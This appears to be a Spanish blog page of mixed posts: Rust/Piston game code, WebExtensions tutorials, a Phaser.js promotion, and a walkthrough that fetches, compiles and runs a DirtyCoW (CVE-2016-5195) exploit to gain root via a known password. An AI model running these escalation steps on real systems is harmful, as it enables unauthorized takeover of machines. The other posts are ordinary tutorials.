Tutorial de Piston, programa juegos en Rust

Ya he hablado de Rust varias veces en este blog. La última vez fue en el tutorial de Iron, que os recomiendo ver si os interesa el tema del desarrollo web backend.

Hoy vamos a hablar de Piston. Piston es una de las librerías más antiguas del ecosistema Rust. Surgida cuando todavía no existía Cargo, esta librería está pensada para el desarrollo de juegos. No es la única que existe en Rust pero sí la más conocida. Piston es una librería que te enseñará Rust de la mejor forma. Y ahora quiero disculparme, porque Piston no es una librería, son un montón, pero eso lo veremos enseguida. En primer lugar creamos un proyecto nuevo con Cargo.

cargo new --bin ejemplo_piston
cd ejemplo_piston

Ahora abrimos el archivo Cargo.toml, vamos a añadir las dependencias necesarias. Las dependencias en Piston son un poco complicadas, veamos:

  • Existen las dependencias core, implementan la API fundamental pero no pueden usarse por separado, son window, input y event_loop. Se usan a través de piston.
  • Los backends de window, existen actualmente 3 backends: glutin, glfw, sdl2. Se importan manualmente.
  • Graphics, una API 2D, no presente en core, pero al igual que las dependencias core necesita un backend.
  • Los backends de graphics son varios: opengl, gfx y glium.
  • Existe una dependencia que nos deja todo montado, piston_window. Esta trae por defecto el core de Piston, glutin, graphics y gfx.
  • Luego existen dependencias extra, como por ejemplo para cargar texturas, estas las podremos ir añadiendo según las necesite el proyecto.

Para simplificar añadimos piston_window únicamente:

 

[package]
name = "piston_example"
version = "0.1.0"
authors = ["Adrián Arroyo Calle"]

[dependencies]
piston_window = "0.59.0"

 

Ahora abrimos el archivo main.rs. Añadimos la crate de piston_window y los módulos que vamos a usar.

extern crate piston_window;

use piston_window::*;
use std::path::Path;

 

Así mismo definimos un par de cosas para el resto del programa, la versión de OpenGL que usará Piston internamente y una estructura para guardar los movimientos de teclado.

const OPENGL: OpenGL = OpenGL::V3_1;

struct Movement{
    up: bool,
    down: bool,
    left: bool,
    right: bool
}

 

En la función main podemos crear la ventana, especificando título y tamaño. Más opciones como V-Sync, pantalla completa y demás también están disponibles.

fn main() {

    let mut window: PistonWindow = WindowSettings::new("Piston - Adrianistan",[640,480])
        .exit_on_esc(true)
        .opengl(OPENGL)
        .build()
        .unwrap();

 

Ahora cargamos la tipografía Sinkin Sans, que vamos a usar para dibujar texto en pantalla. Como hay dos posibles localizaciones comprobamos esos dos lugares antes de salir del programa si no se consigue cargar la fuente.

    let mut glyphs = Glyphs::new(Path::new("SinkinSans.ttf"),window.factory.clone()).unwrap_or_else(|_|{
        let glyphs = Glyphs::new(Path::new("target/debug/SinkinSans.ttf"),window.factory.clone()).unwrap_or_else(|_|{
            panic!("Failed to open the font file. Check that SinkinSans.tff is in the folder");
        });
        glyphs
    });

 

Inicializamos la estructura de movimientos, generamos las dimensiones iniciales del rectángulo (que será un cuadrado en este caso), su color y la posición del ratón.

    let mut mov = Movement{
        up: false,
        down: false,
        left: false,
        right: false
    };

    let mut dims = rectangle::square(50.0,50.0,100.0);
    let mut rect_color = color::BLACK;

    let mut mc: [f64; 2] = [0.0,0.0];

 

Ahora viene la parte importante, el bucle de eventos. El bucle va a funcionar infinitamente generando eventos por el camino (pueden ser eventos de inactividad también). Usamos la función draw_2d para dibujar en 2D. Hay dos maneras de dibujar un rectángulo, en primer lugar tenemos la forma abreviada y en segundo lugar una más completa que permite más opciones. Por último dibujamos el texto usando la fuente y realizando una transformación para que no quede el texto en la posición 0,0.

 while let Some(e) = window.next() {
        window.draw_2d(&e, |c, g| {
            clear([0.5, 0.5, 0.5, 1.0], g);
            rectangle([1.0, 0.0, 0.0, 1.0], // color rojo, rgba
                        [0.0, 0.0, 100.0, 100.0], // dimensiones
                        c.transform, g); // transormacion y donde se va a dibujar

            let rect = Rectangle::new(rect_color);
            rect.draw(dims,&c.draw_state,c.transform,g);
            text(color::BLACK,18,"¡Saludos desde Piston!",&mut glyphs,c.transform.trans(100.0,200.0),g); // aplicamos una transormacion, movemos las X 100 y las Y 200
        });

 

A continuación vamos a tratar cada evento de forma independiente, como todos los métodos devuelven Option, hemos de usar esta sintaxis con Some. En primer lugar tenemos un UpdateEvent, que básicamente nos informa del tiempo delta transcurrido. Recomiendo usar este evento para realizar los cambios en las geometrías, en este caso para mover el rectángulo.

if let Some(upd_args) = e.update_args() {
            let dt = upd_args.dt;
            
                if mov.right {
                    dims[0] += dt*100.0;
                }
                if mov.left {
                    dims[0] -= dt*100.0;
                }
                if mov.up {
                    dims[1] -= dt*100.0;
                }
                if mov.down {
                    dims[1] += dt*100.0;
                }
        }

Los siguientes dos eventos son opuestos, uno se activa cuando pulsamos una tecla y el otro cuando la soltamos. Comprobamos la tecla y modificamos la estructura movement en consecuencia.

if let Some(Button::Keyboard(key)) = e.press_args() {
            if key == Key::W {
                mov.up = true;
            }
            if key == Key::S {
                mov.down = true;
            }
            if key == Key::A {
                mov.left = true;
            }
            if key == Key::D {
                mov.right = true;
            }
        };
        if let Some(Button::Keyboard(key)) = e.release_args() {
            if key == Key::W {
                mov.up = false;
            }
            if key == Key::S {
                mov.down = false;
            }
            if key == Key::A {
                mov.left = false;
            }
            if key == Key::D {
                mov.right = false;
            }
        };

Por último, si queremos comprobar clicks del ratón hacemos algo similar. He añadido código para que cambio el color del rectángulo si pulsamos sobre él.

if let Some(Button::Mouse(mb)) = e.release_args() {
            if mb == MouseButton::Left {
                let x = mc[0];
                let y = mc[1];
                if x > dims[0] && x < dims[0] + dims[2] { if y > dims[1] && y < dims[1] + dims[3] {
                        rect_color = if rect_color == [1.0,0.0,0.0,0.7]{
                            [0.0,1.0,0.0,0.7]
                        } else if rect_color == [0.0,1.0,0.0,0.7] {
                            [0.0,0.0,1.0,0.7]
                        } else{
                            [1.0,0.0,0.0,0.7]
                        }
                    }
                }
                
            }
        }

A continuación un pequeño evento que guarda la última posición del ratón.

        if let Some(mouse_cursor) = e.mouse_cursor_args() {
            mc = mouse_cursor;
        }
    }
}

 

Y con esto ya tenemos hecho un ejemplo en Piston.

Si quieres tener un ejecutable para Windows sin que se muestre primero la consola debes compilar la versión que vas a distribuir con unos parámetros especiales. Si usas Rust con GCC usarás:

cargo rustc --release -- -Clink-args="-Wl,--subsystem,windows"

Si por el contrario usas Visual C++:

cargo rustc --release -- -Clink-args="/SUBSYSTEM:WINDOWS /ENTRY:mainCRTStartup"

 

Piston todavía se encuentra en fuerte desarrollo, en la API estan documentados todos los métodos pero aun así muchas veces no se sabe como hacer ciertas cosas. Piston soporta además 3D, contando con una librería especializada en vóxels. Veremos como evoluciona esta librería.

loading...

Usar la vulnerabilidad DirtyCoW para convertirse en root en Linux

Hace ya unas semanas salió a la luz la vulnerabilidad conocida como DirtyCoW, registrada bajo el nombre de CVE-2016-5195. Esta vulnerabiliad permite a cualquier usuario con acceso a la máquina de forma limitada llegar a convertirse en root y tomar el control total de la máquina. Tal y como nos decía La Mirada del Replicante:

Clasificada de forma oficial como CVE-2016-5195 y descubierto por Phil Oester –un experto en seguridad y desarrollador de Linux–, Dirty COW (copy-on-write) permite una escalada de privilegios de forma remota o local.

….

La vulnerabilidad ha estado presente durante muchos años (desde la versión 2.6.22 del kernel, liberada en 2007) e incluso Linus fue consciente de ella en su momento.

Hoy vamos a ver como aprovechar esta situación. Válida para todos los sistemas con kernel Linux, incluido Android (aunque allí el procedimiento no es tan sencillo).

dirty-cow

Comprobando requisitos

En primer lugar la vulnerabilidad requiere disponer de acceso a la máquina con un usuario no-privilegiado. Puede ser de forma local o remota vía SSH, pero este requisito ya hace que a muchos servidores no les afecte de manera directa.

La vulnerabilidad además ya se encuentra parcheada en muchas distros GNU/Linux y no se podrá realizar. Es por tanto requisito que la versión del kernel esté entre 2.6.22 y 4.4.26. Puedes comprobar la versión del kernel con el comando uname.

uname -a

Descargando el exploit

Ahora el siguiente paso es descargar el exploit. Yo voy a usar el exploit diseñado por Gabriele Bonacini y que lo podéis descargar desde GitHub, bien con un fichero ZIP o bien mediante el programa Git. Puedes descargarlo desde la línea de comandos así:

wget -O dirtycow.zip https://github.com/AdrianArroyoCalle/CVE-2016-5195/archive/master.zip

unzip dirtycow.zip

cd CVE-2016-5195-master

Ahora debemos compilar el pequeño programa en C++ que se ha descargado. Simplemente escribimos en la terminal:

make

Ejecutando el exploit

Ya estamos listos para ejecutar el exploit. Abrimos desde la terminal el programa que acabamos de compilar.

./dcow

Este exploit, si funciona correctamente, nos dirá por pantalla que la contraseña del root es dirtyCowFun. Si tarda demasiado el programa entonces el exploit no ha funcionado. ¿Qué es lo que ha hecho? Aprovechando la vulnerabilidad Dirty CoW ha logrado cambiar, solo en memoria, el contenido del archivo /etc/passwd, que es donde Linux guarda las contraseñas. Este cambio como repito solo se produce en la memoria, pues el archivo físico en el disco sigue inalterado. Si reiniciamos la máquina habrá que repetir el proceso. Esto tiene la gravedad de que es fácil no darse cuenta de si la vulnerabilidad ha sido explotada, el atacante simplemente reinicia la máquina con reboot y la contraseña del root vuelve a su estado habitual.

Sabiendo esto, ya podemos escribir con total seguridad

su

Y cuando nos pregunte la contraseña, escribimos dirtyCowFun.

Enhorabuena, si has llegado hasta aquí conseguiste escalar privilegios y ya eres root. Ahora no seas demasiado malo, te recuerdo que un gran poder conlleva una gran responsabilidad.

Tutorial de WebExtensions (II) – Popup y Tabs

Continuamos con el tutorial de WebExtensions, hoy veremos un elemento muy útil para muchas extensiones que es el popup.

¿Qué es el popup?

El popup es un panel desplegable que se acciona al pulsar un botón de acción. Este panel es una página HTML que puede contener código JavaScript.

popup

El popup es el elemento que permite al usuario un mayor control sobre la extensión y es ideal tanto para mostrar información como para contener acciones. De hecho, WebExtensions limita el número de botones de acción que puede crear una extensión a uno. Si queremos simular tener más botones deberemos usar un popup que despliegue un pequeño menú.

Definir el popup en manifest.json

Para definir el popup tenemos que indicar la ubicación del fichero HTML correspondiente al popup.

	"browser_action" : {
		"default_icon" : "icons/icono_guay.png",
		"default_title" : "Mi PopUp guay",
		"default_popup" : "popup/index.html"
},

Con eso ya tenemos definido el popup. Se mostrará el botón en la barra superior y al hacer click se abrirá el popup.

El PopUp en sí

El PopUp es un fichero HTML sin el mayor misterio. Para definir el tamaño del PopUp usaremos CSS:

body{
    width: 400px;
    height: 400px;
}

Y el navegador adaptará el PopUp a esas dimensiones. A ese archivo HTML le podemos añadir archivos JavaScript mediante el procedimiento habitual en la web, vía una etiqueta script. Lo interesante viene en estos archivos de JavaScript pues cuentan con más privilegios. Desde ellos podemos acceder a las APIs retringidas a extensiones así como librarnos de limitaciones impuestas a las webs (como la política que bloquea los XMLHttpRequests ejecutados a dominios ajenos a nuestra página).

Para usar las APIs restringidas debemos pedir permiso en el fichero manifest.json. Por ejemplo, vamos a jugar con las pestañas. Para ello usamos los permisos tabs y activeTab.

    "permissions" : ["tabs","activeTab"],

Tabs (pestañas) en WebExtensions

La API se encuentra en chrome.tabs y dispone de varios métodos y eventos. Vamos a ver los más importantes:

  • chrome.tabs.query – Obtener información de las pestañas
    • Este método es muy flexible, lo podemos comparar a hacer un SELECT en SQL, pues obtiene una lista de pestañas que cumplen los parámetros que hemos indicado. Por ejemplo para comprobar la pestaña actual, usaremos la propiedad active:
      chrome.tabs.query({"active": true},function(tabs){
          var tab = tabs[0];
          // tab es la pestaña actualmente activa 
      });
      

      Otra opción muy interesante es para averiguar que pestañas tienen abierta una URL que cumple un patrón. Además los parámetros de búsqueda se pueden combinar:

      chrome.tabs.query({"url" : "*://*.adrianistan.eu/*", "status" : "loading", "muted" : true},function(tabs){
        // tabs (que puede estar vacío) contiene todas las URL que estan en un adrianistan.eu (subdominios incluidos),
        // se encuentran cargando
        // y el usuario ha silenciado su sonido
      });
      
  • chrome.tabs.create – Permite crear nuevas pestañas
    • Su uso básico es muy simple
      chrome.tabs.create({"url" : "https://blog.adrianistan.eu/"},function(tab){
        // tab es la pestaña creada
      });
      
  • chrome.tabs.executeScript – Esta función permite inyectar a la pestaña un script de contenido (Content Script).
    • Ahora no vamos a entrar en como se realizaría la comunicación entre los scripts Background y los Content. El código se puede pasar por una cadena de texto o por un archivo, siendo preferible esta última opción. Se puede especificar además cuando queremos que se ejecute dentro del ciclo de carga de la pestaña.
      chrome.tabs.executeScript(tab.id (opcional), {"code" : "alert('Hola');"},function(){
      
      });
      
      O
      
      chrome.tabs.executeScript({"file" : "miarchivo.js", "runAt" : "document_start"},function(){
      
      });
      
  • chrome.tabs.insertCSS – Permite inyectar CSS en la pestaña
    • Su uso es exactamente igual al de chrome.tabs.executeScript
      chrome.tabs.insertCSS({"file" : "misestilos.css"},function(){
      
      });
      
  • chrome.tabs.sendMessage – Enviar un mensaje a la pestaña
    • Hasta ahora no hemos visto la separación entre background y content scripts. Esta función permite enviar datos desde los scripts background a los content, que tendrán una función de escucha. La menciono, pero lo veremos más adelante en profundidad.

Por último, veamos algunos de los eventos que puede generar la API.

  • chrome.tabs.onUpdated – Es llamado cada vez que una pestaña sufre una modificación en sus datos (cambio de URL, quitar el sonido, finalizar una carga, etc)
    • Es muy posible que necesitemos filtrar el contenido que nos da, para fijarnos si se ha producido en una URL que nos interesa o en alguna condición relevante. Eso no obstante, es responsabilidad del programador.
      chrome.tabs.onUpdated.addListener(function(tabId,changeInfo,tab){
        // el objeto changeInfo presenta una estructura similar al de búsqueda con chrome.tabs.query
        // este objeto solo contiene valores para aquellos parámetros que han cambiado
        // con tab podemos acceder a la pestaña al completo
      });
      

Con esto ya podemos hacer extensiones interesantes, la APIs de PopUp y de Tabs son de las más usadas en WebExtensions.

Tutorial de WebExtensions (I) – manifest.json y conceptos

WebExtensions es un sistema para desarrollar extensiones de navegador. Realmente se trata de la API original de Google Chrome y Chromium. Esta API ya había sido diseñada teniendo en cuenta las extensiones de Firefox basadas en XUL y XPCOM. Simplifica mucho el proceso de tareas comunes, no requiere reinicios y es más segura al no permitir tanto control sobre el navegador.

WebExtensions
Tomada de http://tenfourfox.blogspot.com.es/2015/08/okay-you-want-webextensions-api.html

Posteriormente Firefox respondería con Jetpack y Addon SDK, un sistema similar pero escrito encima de XUL y XPCOM, incompatible pero que no necesitaba reinicios y tampoco perdía potencia pues las APIs de XPCOM seguían allí.

Luego Opera decide abandonar Presto y usar Blink, el motor de Chromium. Con respecto a su sistema de extensiones, planean ser 100% compatibles con Chrome.

Firefox también ha de realizar cambios internos, concretamente se inició el trabajo (electrolysis) de hacer Firefix multiproceso. Esto rompía gran parte de las APIs internas de Firefox. Todos los complementos necesitarían ser reescritos. Ya de paso, teniendo en cuenta que hay que diseñar una nueva API para extensiones, se toma la de Chrome y se renombra WebExtensions. Posteriormente Microsoft afirma que Edge será compatible con extensiones de Chrome o WebExtensions. Esta es la historia de como 4 navegadores se pusieron de acuerdo en estandarizar la API de desarrollo de extensiones para navegadores.

En esta serie de tutoriales vamos a ver como programar nuestra extensión usando WebExtensions.

manifest.json

El fichero manifest.json de una extensión es muy importante y es obligatorio. Contiene metadatos de la extensión así como permisos de los que dispone la extensión y las acciones que define.

En primer lugar vamos a distinguir entre distintos tipos de scripts distintos.

  • Background scripts: estos scripts se ejecutan en el fondo del navegador. Se ejecutan al iniciar el navegador. Podemos configurar eventos y entonces se mantendrán a la escucha durante toda la sesión. Estos scripts no pueden acceder a las páginas web.
  • Content scripts: estos scripts se añaden a determinadas páginas según un patrón en el archivo manifest.json o desde un background script. Estos scripts interactúan directamente con las páginas en los que han sido adjuntados.

Veamos ahora un fichero manifest.json

 

{
	"manifest_version" : 2,
	"name" : "Bc.vc shortener",
	"version" : "2.0.0",
	"description" : "Shorthener for Bc.vc",
	"homepage_url" : "http://adrianistan.eu/norax/",
	"icons" : {
		"16" : "icon-16.png",
		"48" : "icon-48.png",
		"64" : "icon-64.png",
		"96" : "icon-96.png",
		"128" : "icon-128.png"
	},
	"applications" : {
		"gecko" : {
			"id" : "@bc-vc",
			"strict_min_version" : "45.*"
		}
	},
	"permissions" : ["notifications","contextMenus","clipboardWrite","activeTab","storage","http://bc.vc/"],
	"browser_action" : {
		"default_title" : "Bc.vc shortener",
		"default_icon" : "icon-64.png"
	},
	"background" : {
		"scripts" : ["background/install.js","background/main.js"]
	},
	"options_ui" : {
		"page" : "options/options.html",
		"chrome_style" : true
	}
}

manifest_version siempre es 2. Al principio rellenamos metadatos sencillos, name, description, version, homepage_url,… Posteriormente debemos añadir los iconos. Dependiendo de lo que queramos no hacen falta todos los iconos. Por ejemplo, el icono de 16×16 solo es necesario si nuestra extensión define un menú contextual del botón derecho. La sección applications ha sido añadida por Mozilla y originalmente no está en Chrome. Define la compatibilidad entre distintos navegadores y versiones, sin embargo, por ahora solo Firefox tiene en cuenta esto.

A continuación se definen los permisos. Una extensión necesita pedir permiso para acceder a ciertas APIs más privilegiadas. Por ejemplo, para mostrar notificaciones o para realizar peticiones HTTP a servidores remotos.

A continuación vemos la acción del navegador. A diferencia de otros sistemas de extensiones, WebExtensiones solo permite un botón en la interfaz del navegador. Es una manera excelente de separar funcionalidades, aunque si vienes de Firefox verás como limita a muchas extensiones, algunas de las cuáles modificaban la interfaz por completo. La acción del navegador puede hacer dos cosas: abrir un panel popup o generar un evento en el background script. Dependiendo de como sea la experiencia de usuario que prefieras te convendrá una opción u otra (en este caso, como no hemos definido un popup html default_popup, tendremos que escuchar el evento browserAction en un background script). Similar a browser_action existe page_action, la única diferencia es el lugar donde aparece el botón.

Page Action a la izquierda
Browser Action a la derecha

Después podemos asignar archivos de background scripts. Por último options_ui es la manera adecuada de crear una página de opciones. Será una página HTML, pero de eso hablaremos en otro tutorial.

Por último vamos a ver los content scripts

"content_scripts": [
  {
    "matches": ["*://*.mozilla.org/*"],
    "js": ["borderify.js"],
    "css" : ["style.css"],
    "all_frames" : false,
    "run_at" : "document_end"
  }
]

Una manera de añadir content scripts es desde el manifest.json, especificando un patrón en matches. Podemos añadir JavaScript y CSS.

Otra opción es web_accesible_resources. Se trata de elementos de la extensión que pueden ser cargados desde una página web. Por ejemplo, si un content script quiere mostrar una imagen en una web, esta deberá estar indicada en web_accesible_resources.

"web_accesible_resources" : ["imagen/zorro.png"]

...

chrome.extension.getURL("imagen/zorro.png"); // desde el content script

Este fichero es el más importante de una WebExtension. En el siguiente tutorial veremos los background scripts combinados con browser actions.

Phaser.js Hispano, aprende a hacer videojuegos en HTML5

Phaser.js Hispano es un sitio web, de mi propia creación, donde escribo tutoriales para aprender a usar Phaser, una de las librerías más populares para crear juegos 2D con JavaScript.

Phaser

Su éxito se basa en su simplicidad. No trata de reinventar la rueda con conceptos extraños e innovadores. Simplemente hace lo que muchas otras librerías hacen, de un modo claro, sin complicaciones. Fue creado por Richard Davey, alias photonstorm. Comenzó como una librería privada suya, pues él realiza juegos de navegador como trabajo. Con el tiempo fue mejorando, se hizo opensource y ahora cuenta con muchos usuarios aunque gran parte del desarrollo lo sigue realizando Richard. El motor ha sido usado con éxito en infinidad de juegos y a día de hoy me parece la opción más madura y efectiva de realizar un juego HTML5 con JavaScript.

Phaser usa Pixi.js como motor de renderizado, lo que permite a los juegos usar WebGL o Canvas 2D indistintamente. Además si manejas Pixi verás que algunas partes de la API de Phaser son similares. Los juegos funcionan en cualquier dispositivo que soporte HTML5, desde ordenadores de mesa (Windows/Mac/Linux) hasta televisores y consolas (WiiU, Xbox One, Chromecast,…) pasando por los omnipresentes móviles y tablets, que a día de hoy son las plataformas que prefieren los jugadores para jugar a juegos sencillos, de poca profundidad.

¿Estas listo para probar Phaser? He realizado una lista con, al menos, los elementos de los que me gustaría tratar en la web Phaser.js Hispano. La Gran Guía de Phaser en Español, úsalo como índice para tus consultas. Si tienes alguna duda no dudes en expresarla. ¿Quiéres tratar algún tema en particular? ¿Conocías la librería antes?